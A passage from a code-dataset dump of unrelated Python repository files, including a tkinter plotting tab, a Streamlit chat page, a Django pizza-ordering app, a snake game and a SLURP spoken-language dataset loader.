pass","repo_name":"Wellychiang/my_appium_practice","sub_path":"page/deposit/deposit_page.py","file_name":"deposit_page.py","file_ext":"py","file_size_in_byte":14437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73156484520","text":"import tkinter as tk\nimport matplotlib.pyplot as plt\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\n\n# my own custom classes/objects\nfrom custom_colours import *\n\nclass PlottingTab:\n def __init__(self, parent_tab, runSim, width):\n self.tab = parent_tab\n self.runSim = runSim\n self.width = width\n\n self.variables_frame = tk.Frame(self.tab, bg=blue, width=100)\n self.variables_frame.pack(side=tk.LEFT)\n\n self.plot_button = tk.Button(self.variables_frame, bg=blue, text=\"Plot\", command=self.plotData)\n self.plot_button.pack(side=tk.LEFT)\n\n self.plot_frame = tk.Frame(self.tab, width=self.width-100, height=self.width-100)\n self.plot_frame.pack()\n\n canvas = FigureCanvasTkAgg(master=self.plot_frame)\n canvas.draw()\n canvas.get_tk_widget().pack()\n\n def plotData(self):\n\n plt.close()\n\n x, y_pre_tax, y = self.runSim(20)\n\n fig, ax = plt.subplots()\n ax.plot(x, y_pre_tax)\n ax.plot(x, y)\n ax.set_title(\"Plot\")\n ax.set_xlabel(\"Years\")\n ax.set_ylabel(\"Salary (K)\")\n ax.set_xlim(0, max(x))\n ax.set_ylim(0)\n plt.tight_layout()\n\n # Clear the plot frame\n for widget in self.plot_frame.winfo_children():\n widget.destroy()\n\n # Display the plot in the plot frame\n canvas = FigureCanvasTkAgg(fig, master=self.plot_frame)\n canvas.draw()\n canvas.get_tk_widget().pack()","repo_name":"WillSweatman/budgeting_program","sub_path":"plot_tab.py","file_name":"plot_tab.py","file_ext":"py","file_size_in_byte":1484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"11839107224","text":"import streamlit as st\nfrom langchain.chat_models import ChatOpenAI\nfrom langchain.schema import (\n AIMessage,\n HumanMessage,\n SystemMessage\n)\n\n# Initialize the ChatOpenAI object\nchat = None\n\nif \"OPENAI_API_KEY\" not in st.session_state:\n st.session_state[\"OPENAI_API_KEY\"] = \"\"\nelif st.session_state[\"OPENAI_API_KEY\"] != \"\":\n chat = ChatOpenAI(openai_api_key=st.session_state[\"OPENAI_API_KEY\"])\n\nst.set_page_config(page_title=\"🐠 夜风习习\", layout=\"wide\")\n\nst.title(\"🤠 小团团都想死你了\")\n\nif \"messages\" not in st.session_state:\n st.session_state[\"messages\"] = []\n\nif chat:\n with st.container():\n for message in st.session_state[\"messages\"]:\n if isinstance(message, HumanMessage):\n with st.chat_message(\"user\"):\n st.markdown(message.content)\n elif isinstance(message, AIMessage):\n with st.chat_message(\"assistant\"):\n st.markdown(message.content)\n prompt = st.chat_input(\"萍萍主人有什么问题...\")\n if prompt:\n st.session_state[\"messages\"].append(HumanMessage(content=prompt))\n with st.chat_message(\"user\"):\n st.markdown(prompt)\n ai_message = chat([HumanMessage(content=prompt)])\n st.session_state[\"messages\"].append(ai_message)\n with st.chat_message(\"assistant\"):\n st.markdown(ai_message.content)\nelse:\n with st.container():\n st.warning(\"萍萍主人,请到[APIkey页面]点💝💝💝再回来\")\n\nwith st.sidebar:\n click = st.checkbox('萍萍click')\n if click:\n st.markdown('''\n### :orange[亲爱的老婆]\n### :orange[祝你永远十八岁!]\n### :orange[不管几岁,快乐万岁!]\n''')","repo_name":"prodong9527/see","sub_path":"HomePage.py","file_name":"HomePage.py","file_ext":"py","file_size_in_byte":1758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"34913289769","text":"s = set()\r\n\r\nfor i in range(1, 100):\r\n for j in range(100, 10000 // i):\r\n if set(str(i) + str(j) + str(i * j)) == set(\"123456789\"):\r\n s.add(i * j)\r\n\r\nprint(sum(s))\r\n\r\n\r\n# Copyright Junipyr. All rights reserved.\r\n# https://github.com/Junipyr","repo_name":"Junipyr/Project-Euler","sub_path":"Problem 032.py","file_name":"Problem 032.py","file_ext":"py","file_size_in_byte":249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"33652102097","text":"from logger_default import Logger\nfrom wx import BoxSizer, VERTICAL\nfrom wx import Frame, ID_ANY, App, EXPAND, Panel, EVT_CLOSE\n\nfrom image_optimiser.__main__ import convert\n\n\nclass GUI(Frame):\n\n def __init__(self, *callbacks):\n Frame.__init__(self, None, ID_ANY, \"CUT\")\n self.Bind(EVT_CLOSE, lambda x: self.Destroy())\n root = Panel(self, EXPAND)\n sizer = BoxSizer(VERTICAL)\n\n elements = []\n for element in callbacks:\n sizer.Add(element, 1, EXPAND)\n\n root.SetSizer(sizer)\n\n\n# Run the program\ndef init_gui():\n app = App(False)\n frame = GUI()\n frame.Show()\n app.MainLoop()\n\nif __name__ == \"__main__\":\n log = Logger(50)\n init_gui()\n convert(\"\")\n log.shutdown()\n","repo_name":"ChsHub/image_optimiser","sub_path":"experimental/optimiser_gui.py","file_name":"optimiser_gui.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73752483240","text":"import requests\nimport json\n\nfrom decimal import *\n\nfrom django.conf import settings\nfrom django.contrib import messages\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth.models import User\nfrom django.http import HttpResponse, HttpResponseRedirect, JsonResponse\nfrom django.shortcuts import render\nfrom django.urls import reverse\nfrom django.views import generic\n\nfrom .forms import CustomLoginForm, SignupForm\n\nfrom .models import Cart, Entry, Pizza, Size, Topping\n\n\nclass IndexView(generic.ListView):\n\n # Use existing template\n template_name = 'orders/index.html'\n\n # Pass context object\n context_object_name = 'menu_list'\n\n def get_queryset(self):\n\n # Number of visits to this view\n # Get the value of visit_number session key, set to 0 if it has not been set\n self.visit_number = self.request.session.get('visit_number', 0)\n self.request.session['visit_number'] = self.visit_number + 1\n return Pizza.objects.all()\n\n # Override get_context_data() method to addd extra content\n def get_context_data(self, **kwargs):\n # Call the base implementation\n context = super().get_context_data(**kwargs)\n\n # Add visit numbers\n context['visit_number'] = self.visit_number\n\n # Return context\n return context\n\n\nclass DetailView(generic.DetailView):\n\n # Which model to use\n model = Pizza\n\n # Use existing template\n template_name = 'orders/detail.html'\n\n # Override get_context_data() method to add extra content to DetailView\n # https://docs.djangoproject.com/en/2.1/topics/class-based-views/generic-display/#adding-extra-context\n def get_context_data(self, **kwargs):\n\n # Call the base implementation\n context = super().get_context_data(**kwargs)\n\n # Add in a QuerySet of all the sizes and toppings\n context['size_list'] = Size.objects.all()\n context['topping_list'] = Topping.objects.all()\n\n return context\n\n def get_queryset(self):\n return Pizza.objects.all()\n\n\ndef login_view(request):\n if request.method == 'POST':\n form = CustomLoginForm(data=request.POST)\n\n if form.is_valid():\n\n # Check the recaptch field\n if not is_recaptcha_valid(request):\n messages.error(request, \"Invalid recaptcha.\")\n return render(request, 'registration/login.html', {'form': CustomLoginForm()})\n\n username = form.cleaned_data['username']\n email = form.cleaned_data['email']\n password = form.cleaned_data['password']\n\n user = authenticate(request, username=username, password=password)\n\n if user is not None:\n login(request, user)\n\n # Redirect to index\n messages.success(request, \"Logged in.\")\n return HttpResponseRedirect(reverse('orders:index'))\n else:\n messages.error(request, \"Invalid credentials.\")\n\n else:\n form = CustomLoginForm()\n return render(request, 'registration/login.html', {'form': form})\n\n\ndef signup_view(request):\n if request.method == 'POST':\n form = SignupForm(request.POST)\n\n if form.is_valid():\n\n # Save the user into database\n form.save()\n\n # Get the corresponding fields from the submitted form\n username = form.cleaned_data['username']\n raw_password = form.cleaned_data['password1']\n\n # Authenticate the user\n user = authenticate(username=username, password=raw_password)\n\n # Login the user\n if user is not None:\n login(request, user)\n\n # Redirect to home\n messages.success(request, \"Signed up.\")\n return HttpResponseRedirect(reverse('orders:index'))\n\n else:\n # Error message\n messages.error(request, \"User already exists.\")\n\n else:\n form = SignupForm()\n return render(request, 'registration/signup.html', {'form': form})\n\n\ndef logout_view(request):\n logout(request)\n\n # Redirect to login with a message\n messages.success(request, \"Successfully logged out.\")\n return HttpResponseRedirect(reverse('orders:index'))\n\n\ndef is_recaptcha_valid(request):\n \"\"\"\n Verify if the response for the Google recaptcha is valid.\n \"\"\"\n return requests.post(\n settings.GOOGLE_VERIFY_RECAPTCHA_URL,\n data={\n 'secret': settings.RECAPTCHA_PRIVATE_KEY,\n 'response': request.POST.get('g-recaptcha-response'),\n },\n verify=True\n ).json().get(\"success\", False)\n\n\ndef view_cart(request):\n\n # If user has not logged-in, redirect to login page\n if not request.user.is_authenticated:\n return HttpResponseRedirect(reverse('orders:login'))\n\n # Get the cart object for the corresponding user\n user_cart, created = Cart.objects.get_or_create(user=request.user)\n\n # Get a queryset of entries that correspond to 'user_cart'\n list_of_entries = Entry.objects.filter(cart=user_cart)\n\n cart_total = list_of_entries.first()\n context = {\n 'cart': list_of_entries,\n 'cart_total': cart_total,\n 'stripe_public_key': settings.STRIPE_PUBLIC_KEY\n }\n\n print(list_of_entries)\n\n return render(request, 'orders/cart.html', context)\n\n\ndef add_to_cart(request):\n\n # If user has not logged-in, redirect to login page\n if not request.user.is_authenticated:\n return HttpResponseRedirect(reverse('orders:login'))\n\n # Get or create the cart for the current user\n user_cart, created = Cart.objects.get_or_create(user=request.user)\n\n # Get the pizza ID from the request\n pizzaId = request.POST['pizzaId']\n\n # Get the quantity from the request\n pizza_quantity = request.POST['pizza_quantity']\n\n # Cast it to Decimal to be able to multiply it with an int\n pizza_quantity = Decimal(pizza_quantity)\n\n # Get the pizza from the database that has the corresponding ID\n pizza_to_add = Pizza.objects.get(id=pizzaId)\n\n # Entry price\n entry_price = pizza_quantity * pizza_to_add.pizza_price\n\n # Create new entry which will update the cart\n entry = Entry.objects.create(\n cart=user_cart,\n pizza=pizza_to_add,\n quantity=pizza_quantity,\n topping=None,\n entry_price=entry_price\n )\n\n # Store the pizzaId to session in order to use it in add_topping view\n request.session['last_entry'] = pizzaId\n\n # Give success feedback\n messages.success(request, \"Added to cart.\")\n\n return HttpResponseRedirect(reverse('orders:details', args=(pizzaId,)))\n\n\ndef add_topping(request):\n\n # If request is not a POST request, return index\n if request.method == 'POST':\n\n # Get the cart for the current user\n user_cart = Cart.objects.get(user=request.user)\n\n # Get the pizza ID from the request\n pizzaId = request.POST.get('pizzaId')\n\n # If user wants to add topping to the last pizza added to cart, continue\n if pizzaId is request.session.get('last_entry'):\n\n # Get the data from the POST request\n topping_selected = request.POST.get('topping_selected')\n\n # Topping quantity is 1 by default\n topping_quantity = 1\n\n # Get the topping from the database that has the corresponding ID\n topping_to_add = Topping.objects.get(id=topping_selected)\n\n # Create new entry which will update the cart\n Entry.objects.create(\n cart=user_cart,\n topping=topping_to_add,\n quantity=topping_quantity,\n pizza=None\n )\n\n # Give success feedback\n messages.success(request, \"Added the topping.\")\n\n return HttpResponseRedirect(reverse('orders:details', args=(pizzaId,)))\n\n # Else error, redirect to details\n else:\n messages.error(request, \"You can't add topping before adding that pizza to cart.\")\n return HttpResponseRedirect(reverse('orders:details', args=(pizzaId,)))\n\n return HttpResponseRedirect(reverse('orders:index'))\n\n\ndef clear_cart(request):\n if request.method == 'POST':\n\n # Get the user cart\n user_cart = Cart.objects.filter(user=request.user)\n\n # Delete all entries of user cart\n cart_entries = Entry.objects.filter(cart__in=user_cart).delete()\n\n # Print how many items were deleted\n messages.success(request, \"Deleted \" +str(cart_entries[0]) + \" items.\")\n\n return HttpResponseRedirect(reverse('orders:cart'))\n\n\ndef checkout(request):\n\n # If user has not logged-in, redirect to login page\n if not request.user.is_authenticated:\n return HttpResponseRedirect(reverse('orders:login'))\n\n # If user came via a POST request\n if request.method == 'POST':\n\n context = {\n 'stripe_public_key': request.POST.get('stripe_public_key')\n }\n return render(request, 'orders/checkout.html', context)\n\n # Else return cart view\n messages.error(request, \"You should control your cart before checkout.\")\n return HttpResponseRedirect(reverse('orders:cart'))\n\n\ndef charge(request):\n\n # If user has not logged-in, redirect to login page\n if not request.user.is_authenticated:\n return HttpResponseRedirect(reverse('orders:login'))\n\n # If user came via a POST request\n if request.method == 'POST':\n return render(request, 'orders/thankyou.html')\n\n # Else return cart view\n messages.error(request, \"You are not authorized to pay.\")\n return HttpResponseRedirect(reverse('orders:cart'))\n","repo_name":"ilkeraslan/pizza","sub_path":"orders/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9726,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"10440657094","text":"from map import Map;\n\nclass Snake(object):\n\n\tdirection_up = 1;\n\tdirection_left = 2;\n\tdirection_right = 3;\n\tdirection_down = 4;\n\n\n\tdef __init__(self, _map):\n\t\tself.map = _map;\n\t\tself.isdead = False;\n\n\t\tself.score = 0;\n\t\tself.stepsSinceScoring = 0;\n\n\tdef initPosition(self, position, tail):\n\n\t\tself.position = position;\n\t\tself.tail = tail;\n\t\tself.direction = Snake.direction_right;\n\n\t\tself.start_position = [list(position), list(tail)];\n\n\t\tself.reset();\n\t\t\n\n\tdef reset(self):\n\t\tself.position = list(self.start_position[0]);\n\t\tself.tail = list(self.start_position[1]);\n\n\t\tfor pos in self.tail:\n\t\t\tself.map.setTile(pos[0], pos[1], Map.tile_snake);\n\t\tself.map.setTile(self.position[0], self.position[1], Map.tile_snake_mouth);\n\t\tself.map.setTile(self.tail[-1][0], self.tail[-1][1], Map.tile_snake_tail);\n\n\t\tself.isdead = False;\n\t\tself.score = 0;\n\t\tself.stepsSinceScoring = 0;\n\n\n\tdef move(self, direction):\n\t\t\n\n\t\tself.direction = direction;\n\n\t\tprev_pos = list(self.position);\n\n\t\tif(self.direction == Snake.direction_up):\n\t\t\tself.position[1] -= 1;\n\t\telif(self.direction == Snake.direction_left):\n\t\t\tself.position[0] -= 1;\n\t\telif(self.direction == Snake.direction_right):\n\t\t\tself.position[0] += 1;\n\t\telif(self.direction == Snake.direction_down):\n\t\t\tself.position[1] += 1;\n\n\t\ttile = self.map.stepTo(self.position[0], self.position[1]);\n\t\tself.tail.insert(0,prev_pos);\n\n\t\tself.map.setTile(prev_pos[0], prev_pos[1], Map.tile_snake);\n\n\t\tself.stepsSinceScoring += 1;\n\n\t\tif (tile != Map.tile_apple and tile != Map.tile_golden_apple):\n\t\t\tend = self.tail.pop();\n\t\t\ttail = self.tail[-1];\n\t\t\tself.map.setTile(end[0], end[1], Map.tile_empty);\n\t\t\tself.map.setTile(tail[0], tail[1], Map.tile_snake_tail);\n\t\t\tself.stepsSinceScoring = 0;\n\n\t\t\n\t\tself.map.setTile(self.position[0], self.position[1], Map.tile_snake_mouth);\n\n\n\t\tif(tile == Map.tile_wall or tile == Map.tile_snake or tile == Map.tile_snake_tail):\n\t\t\tself.die();\n\t\tif(self.stepsSinceScoring > 40):\n\t\t\tself.die();\n\n\t\ts = 0;\n\t\tif(tile == Map.tile_apple):\n\t\t\ts = 1;\n\t\tif(tile == Map.tile_golden_apple):\n\t\t\ts = 5;\n\n\t\tself.score += s;\n\t\treturn s;\n\n\n\tdef die(self):\n\t\tself.isdead = True;\n\n\n\tdef isAlive(self):\n\t\treturn not self.isdead;\n\n\tdef getLength(self):\n\t\treturn len(self.tail)+1;\n\n\tdef getScore(self):\n\t\treturn self.score;","repo_name":"Oscared/SmartSnakeKEX","sub_path":"snake.py","file_name":"snake.py","file_ext":"py","file_size_in_byte":2259,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"41001198157","text":"text=\"\"\"\nВ общем, есть такая тема — частотный анализ текста. Утверждается, что для данного языка частота встречаемости отдельных букв в осмысленном тексте есть устойчивая величина. Устойчивыми также являются комбинации двух, трех (биграммы, триграммы) и четырех букв.\nЭтот факт, в частности, использовался в криптографии для вскрытия шифров.\n\"\"\"\n\n\n###############################################################################################\ndef letterCounter(text, letter):\n counter=0.0\n for i in range(len(text)):\n if text[i]==letter:\n counter+=1\n return counter / len(text.lower()) *100\n\n#letterCounter(text,\"ы\")\ndic={\"0\": 0}\n\nabc=\"абвгдеёжзийклмнопрстуфхцчшщъыьэюя\"\nfor i in range(len(abc)):\n dic.update({abc[i]: float((letterCounter(text.lower(), abc[i])))})\n\n\n\n\nsortedDIc = sorted(dic.items(), key=lambda x: x[1])\n\n\"\"\"\n#to print dict (note the key word items)\nfor k, v in dic.items():\n print (k, '-->', v)\n\"\"\"\n\nfor i in range(len(sortedDIc)):\n print(sortedDIc[i])\n\n\n","repo_name":"n113/Frequency_analysis","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1321,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29255412770","text":"import os\nimport xml.etree.ElementTree as et\nfrom collections import OrderedDict\n\nimport kaldiio\nimport numpy as np\nimport pandas as pd\nimport torch\nfrom progress.bar import Bar\nfrom sklearn import preprocessing\nfrom torch.nn.utils.rnn import pad_sequence\nfrom torch.utils.data import DataLoader, Dataset\nfrom transformers import (\n BertModel,\n BertTokenizer,\n DistilBertModel,\n DistilBertTokenizerFast,\n)\n\nimport learning.utils.Constants as Constants\n\n\nclass CustomTextAudioDataset(Dataset):\n def __init__(\n self,\n features=None,\n labels=None,\n acoustic_feats=None,\n max_length=0,\n use_wcn=False,\n load_acoustic_info=True,\n kaldi_embeddings=True,\n ):\n super(CustomTextAudioDataset, self).__init__()\n self.features = features\n self.labels = labels\n self.acoustic_features_file = acoustic_feats\n self.max_length = max_length\n self.use_wcn = use_wcn\n self.load_acoustic_info = load_acoustic_info\n self.kaldi_embeddings = kaldi_embeddings\n if self.use_wcn is True:\n self.model_class, self.tokenizer_class, self.pretrained_weights = (\n BertModel,\n BertTokenizer,\n \"bert-base-uncased\",\n )\n self.tokenizer = self.tokenizer_class.from_pretrained(\n self.pretrained_weights, do_lower_case=True\n )\n self.model = self.model_class.from_pretrained(self.pretrained_weights)\n self.tokenizer.add_special_tokens(\n {\"bos_token\": Constants.BOS_WORD, \"eos_token\": Constants.EOS_WORD}\n )\n self.tokenizer.add_tokens([\"\", \"\"], special_tokens=True)\n self.model.resize_token_embeddings(len(self.tokenizer))\n else:\n self.model_class, self.tokenizer_class, self.pretrained_weights = (\n DistilBertModel,\n DistilBertTokenizerFast,\n \"distilbert-base-uncased\",\n )\n self.tokenizer = self.tokenizer_class.from_pretrained(\n self.pretrained_weights, do_lower_case=False\n )\n self.model = self.model_class.from_pretrained(self.pretrained_weights)\n\n def __len__(self):\n return len(self.labels)\n\n def __getitem__(self, idx):\n da_labels = []\n fr_labels = []\n fr_e_labels = []\n textual_feats = []\n audio_file = []\n textual_feats.append(self.features[idx][0]) # The input text\n if self.load_acoustic_info:\n audio_file.append(\n self.features[idx][2]\n ) # corresponds to the audio files to be loaded\n if self.use_wcn is True:\n (\n in_seqs,\n pos_seqs,\n score_seqs,\n sa_seqs,\n sa_parent_seqs,\n sa_sib_seqs,\n sa_type_seqs,\n labels,\n ) = self.features[idx][3]\n cls = True\n # vector of the positions CLS is considered at the beggining of the sequence\n batch_pos = (\n [1] * cls\n + [p + int(cls) for p in pos_seqs]\n + [0] * (self.max_length - len(pos_seqs) - 1)\n )\n batch_pos = np.array(batch_pos) # torch.LongTensor(batch_pos)\n # vector of the scores CLS is considered at the beggining of the sequence\n batch_score = (\n [1] * cls + score_seqs + [-1] * (self.max_length - len(score_seqs) - 1)\n )\n batch_score = np.array(batch_score) # torch.FloatTensor(batch_score)\n\n da_labels.append(self.labels[idx][0])\n fr_labels.append(self.labels[idx][1])\n fr_e_labels.append(self.labels[idx][2])\n\n # getting the textual, acoustic embeddings for the batches\n text_embeddings, mask = self.__get_text_embedding(textual_feats)\n if self.load_acoustic_info is True:\n if self.kaldi_embeddings is True: # True means Kaldi based embeddings\n (\n not_found_idx,\n acoustic_embeddings,\n ) = self.__get_batch_acoustic_embeddings(\n audio_file, self.acoustic_features_file\n )\n else: # ELSE means HUBERT based Embeddings\n acoustic_embeddings = self.__get_batch_acoustic_embeddings_hubert_based(\n audio_file, self.acoustic_features_file\n )\n else:\n acoustic_embeddings = None\n\n # EMBEDDINGS\n if acoustic_embeddings is not None:\n text_embeddings = text_embeddings.numpy()\n acoustic_embeddings = acoustic_embeddings.numpy()\n else:\n text_embeddings = text_embeddings.numpy()\n # LABELS\n da_labels = np.array(da_labels)\n fr_labels = np.array(fr_labels)\n fr_e_labels = np.array(fr_e_labels)\n mask = mask.numpy()\n # BATCH OUTPUT\n X_batch = [text_embeddings, acoustic_embeddings, mask]\n if self.use_wcn is True:\n WCN_batch = [in_seqs, batch_pos, batch_score]\n else:\n WCN_batch = None\n Y_batch = {\n \"dialogue_act\": da_labels,\n \"frame\": fr_labels,\n \"frame_element\": fr_e_labels,\n }\n\n return X_batch, Y_batch, WCN_batch\n\n # Function to eliminate those instances from the batch that don't have acoustic embeddings\n def __slice_tensor(self, tensor, indexes):\n update_index_val = 0\n tensor_copy = tensor\n for del_idx in indexes:\n index = del_idx - update_index_val\n tensor_copy = torch.cat(\n [tensor_copy[0:index, :, :], tensor_copy[index + 1 :, :, :]]\n )\n update_index_val += 1\n return tensor_copy\n\n def __get_text_embedding(self, text):\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n self.model.to(device)\n self.model.eval()\n inputs = self.tokenizer(\n text,\n add_special_tokens=True,\n is_split_into_words=True,\n padding=\"max_length\",\n max_length=self.max_length,\n return_tensors=\"pt\",\n ).to(device)\n features = self.model(**inputs)\n # retutn BERT EMbeddings and attention MASK\n return (\n features.last_hidden_state.to(\"cpu\").detach(),\n inputs[\"attention_mask\"].to(\"cpu\").detach(),\n )\n\n def __get__scp_minibatch(self, acoustic_inputs):\n vector_output = []\n fd_dict = {}\n for ac_in in acoustic_inputs:\n utt, ark = ac_in.split(\" \")\n ark_name, offset = ark.split(\":\")\n if ark_name not in fd_dict:\n fd_dict[ark_name] = kaldiio.open_like_kaldi(ark_name, \"rb\")\n mat = kaldiio.load_mat(ark, fd_dict=fd_dict)\n vector_output.append(torch.tensor(mat, dtype=torch.float32))\n\n assert len(acoustic_inputs) == len(\n vector_output\n ), f\"ERROR reading acoustitc embeddings for key:{acoustic_inputs}\"\n for ark_name, fd in fd_dict.items():\n fd.close()\n return pad_sequence(vector_output, batch_first=True)\n\n def __get_batch_acoustic_embeddings(self, audio_files_list, features_relation):\n df = pd.read_csv(features_relation, sep=\" \", names=[\"utt\", \"ark\"])\n acoustic_inputs = []\n not_found = []\n counter = 0\n try:\n rows = df.loc[df[\"utt\"].isin(audio_files_list)]\n utt, ark = rows.iloc[0] # we always keep the first one\n acoustic_inputs.append(\" \".join([utt, ark]))\n except:\n not_found.append(counter)\n\n del df # cleaning up memory\n if len(acoustic_inputs) != 0:\n embeddings = self.__get__scp_minibatch(acoustic_inputs)\n return not_found, embeddings\n else:\n return not_found, None\n\n def __get_batch_acoustic_embeddings_hubert_based(\n self, audio_files_list, features_relation\n ): # this works for Bidisha's embeddings\n # for audio_files in audio_files_list:\n try:\n audio_fname = audio_files_list[\n 0\n ] # there is always one in the list, so we get it\n audio_fname = audio_fname + \".pt\"\n tensor_fname = os.path.join(features_relation, audio_fname)\n embeddings = torch.load(tensor_fname, map_location=torch.device(\"cpu\"))\n return torch.unsqueeze(embeddings, 0)\n except:\n print(\n \"Problem readding Hubbert Embedding for file: {}\".format(tensor_fname)\n )\n return None\n\n\nclass SLURP_Dataset(object):\n dataset = []\n train_set = []\n dev_set = []\n test_set = []\n embeddings = OrderedDict()\n labels = [\"dialogue_act\", \"frame\", \"frame_element\"]\n feature_encoders = OrderedDict()\n label_encoders = OrderedDict()\n label_counter = OrderedDict()\n\n encoders_path = None\n max_sentence_length = (\n 0 # This valiable will contain the maximum lentgh (num_words) of the utterances\n )\n # This valiable will contain the maximum lentgh (num_BERT_Tokens) of the utterances\n max_tokenized_length = 0\n\n # SAMPLER OBJECTS FOR THE DPP\n samplerTrain = None\n samplerLargeTrain = None\n\n # Dictionaries for storing the WCN values\n train_WCN_dict = {}\n dev_WCN_dict = {}\n test_WCN_dict = {}\n\n # Tokenizer\n tokenizer = None\n\n def __init__(\n self,\n dataset_path=None,\n train_set_path=None,\n dev_set_path=None,\n test_set_path=None,\n train_wcn=None,\n dev_wcn=None,\n test_wcn=None,\n use_wcn=False,\n load_acoustics=False,\n is_DPP=False,\n ):\n if use_wcn is True:\n print(\"\\nLoading Word Consensus Networks...\")\n self.train_WCN_dict = self.__read_wcn_data(train_wcn)\n self.dev_WCN_dict = self.__read_wcn_data(dev_wcn)\n self.test_WCN_dict = self.__read_wcn_data(test_wcn)\n self.model_class, self.tokenizer_class, self.pretrained_weights = (\n BertModel,\n BertTokenizer,\n \"bert-base-uncased\",\n )\n self.tokenizer = self.tokenizer_class.from_pretrained(\n self.pretrained_weights, do_lower_case=True\n )\n self.pre_trained_model = self.model_class.from_pretrained(\n self.pretrained_weights\n )\n # ADDING SPECIAL TOKENS TO BERT TOKENIZER [, , ]\n self.tokenizer.add_special_tokens(\n {\"bos_token\": Constants.BOS_WORD, \"eos_token\": Constants.EOS_WORD}\n )\n self.tokenizer.add_tokens([\"\", \"\"], special_tokens=True)\n self.pre_trained_model.resize_token_embeddings(len(self.tokenizer))\n else:\n self.tokenizer = DistilBertTokenizerFast.from_pretrained(\n \"distilbert-base-uncased\"\n )\n\n # LOADING TRAIN PARTITION\n for root, directories, file_names in os.walk(train_set_path):\n file_names = [fi for fi in file_names if fi.endswith(\".hrc2\")]\n if len(file_names) > 0:\n bar = Bar(\n \"Loading {} dataset: \".format(os.path.basename(root)),\n max=len(file_names),\n )\n for filename in file_names:\n bar.next()\n huric_example = self.__import_example_with_BERT_tokenization(\n os.path.join(root, filename),\n is_train_set=True,\n use_WCN=use_wcn,\n load_acoustic_info=load_acoustics,\n )\n if huric_example is not None:\n self.train_set.append(huric_example)\n del bar\n print(\"\")\n # LOADING DEVEL PARTITION\n for root, directories, file_names in os.walk(dev_set_path):\n file_names = [fi for fi in file_names if fi.endswith(\".hrc2\")]\n if len(file_names) > 0:\n bar = Bar(\n \"Loading {} dataset: \".format(os.path.basename(root)),\n max=len(file_names),\n )\n for filename in file_names:\n bar.next()\n huric_example = self.__import_example_with_BERT_tokenization(\n os.path.join(root, filename),\n is_dev_set=True,\n use_WCN=use_wcn,\n load_acoustic_info=load_acoustics,\n )\n if huric_example is not None:\n self.dev_set.append(huric_example)\n del bar\n print(\"\")\n # LOADING TEST PARTITION\n for root, directories, file_names in os.walk(test_set_path):\n file_names = [fi for fi in file_names if fi.endswith(\".hrc2\")]\n if len(file_names) > 0:\n bar = Bar(\n \"Loading {} dataset: \".format(os.path.basename(root)),\n max=len(file_names),\n )\n # fout = open(\"ids.txt\", \"w\")\n for filename in file_names:\n bar.next()\n\n huric_example = self.__import_example_with_BERT_tokenization(\n os.path.join(root, filename),\n is_test_set=True,\n use_WCN=use_wcn,\n load_acoustic_info=load_acoustics,\n )\n if huric_example is not None:\n self.test_set.append(huric_example)\n del bar\n print(\"\")\n print(\n \"\\nDataset size:\\n\\tTrain set: {} examples\\n\\tDevelopment set: {} examples\\n\\tTest set: {} examples\".format(\n len(self.train_set), len(self.dev_set), len(self.test_set)\n )\n )\n # Checking if Distributed learning\n self.is_distributed = is_DPP\n print()\n if self.is_distributed == True:\n print(\"\\n-->Running in distributed mode<--\")\n self.samplerTrain = None\n self.samplerLargeTrain = None\n print(\n \"\\nMaximum lenght of the utterances when tokenized:{}; original:{}\\n\".format(\n self.max_tokenized_length, self.max_sentence_length\n )\n )\n\n def __read_wcn_data(self, fn):\n \"\"\"\n Read_WCN function.\n Args:\n fn: wcn data file name\n line format - word:parent:sibling:type ... \\t<=>\\tword:pos:score word:pos:score ... \\t<=>\\tlabel1;label2...\n system act <=> utterance <=> labels\n \"\"\"\n wcn_dict = {}\n in_seqs = []\n pos_seqs = []\n score_seqs = []\n sa_seqs = []\n sa_parent_seqs = []\n sa_sib_seqs = []\n sa_type_seqs = []\n labels = []\n with open(fn, \"r\") as fp:\n lines = fp.readlines()\n for line in lines:\n id, sa, inp, lbl = line.strip(\"\\n\\r\").split(\"\\t<=>\\t\")\n inp_list = inp.strip().split(\" \")\n in_seq, pos_seq, score_seq = zip(\n *[item.strip().split(\":\") for item in inp_list]\n )\n in_seqs = list(in_seq) # .append(list(in_seq))\n pos_seqs = list(map(int, pos_seq)) # .append(list(map(int, pos_seq)))\n score_seqs = list(\n map(float, score_seq)\n ) # .append(list(map(float, score_seq)))\n sa_list = sa.strip().split(\" \")\n sa_seq, pa_seq, sib_seq, ty_seq = zip(\n *[item.strip().split(\":\") for item in sa_list]\n )\n sa_seqs = list(sa_seq) # .append(list(sa_seq))\n sa_parent_seqs = list(\n map(int, pa_seq)\n ) # .append(list(map(int, pa_seq)))\n sa_sib_seqs = list(\n map(int, sib_seq)\n ) # .append(list(map(int, sib_seq)))\n sa_type_seqs = list(map(int, ty_seq)) # .append(list(map(int, ty_seq)))\n\n if len(lbl) == 0:\n labels = [] # .append([])\n else:\n labels = lbl.strip().split(\";\") # .append(lbl.strip().split(';'))\n if id not in wcn_dict.keys():\n wcn_dict[id] = [\n in_seqs,\n pos_seqs,\n score_seqs,\n sa_seqs,\n sa_parent_seqs,\n sa_sib_seqs,\n sa_type_seqs,\n labels,\n ]\n\n return wcn_dict\n\n def __get_WCN(self, id, isTrain, isDev, isTest):\n if isTrain is True:\n return self.train_WCN_dict[id]\n elif isDev is True:\n return self.dev_WCN_dict[id]\n elif isTest is True:\n return 